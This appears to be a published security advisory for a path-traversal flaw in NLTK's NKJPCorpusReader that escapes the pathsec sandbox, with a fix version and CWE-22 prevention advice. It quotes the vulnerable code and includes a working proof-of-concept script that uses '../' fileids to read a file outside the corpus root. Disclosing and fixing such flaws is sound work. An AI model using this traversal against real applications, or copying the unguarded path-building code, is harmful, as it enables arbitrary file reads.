Skip to content

GHSA-6hm5-jgcp-p838 CVE-2026-12072 PYSEC-2026-3581

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
3.10.0
Upgrade nltk to this version or later

Description

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check:
    def add_root(self, fileid):          # lines 96-102
        if self.root in fileid:
            return fileid                # attacker-controlled value returned unchanged
        return self.root + fileid        # plain concat, '..' not stripped
    
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
    class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
        def __init__(self, filename, **kwargs):
            XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
    
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
    class XML_Tool:                                  # line 243
        def __init__(self, root, filename):
            self.read_file = os.path.join(root, filename)   # line 251
        def build_preprocessed_file(self):
            fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
    result = reader.header(fileids=[evil])
finally:
    builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content  :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

Impact

This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.0
3.10.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.0

pip
pip install --upgrade "nltk>=3.10.0"
poetry
poetry add "nltk>=3.10.0"
uv
uv add "nltk>=3.10.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor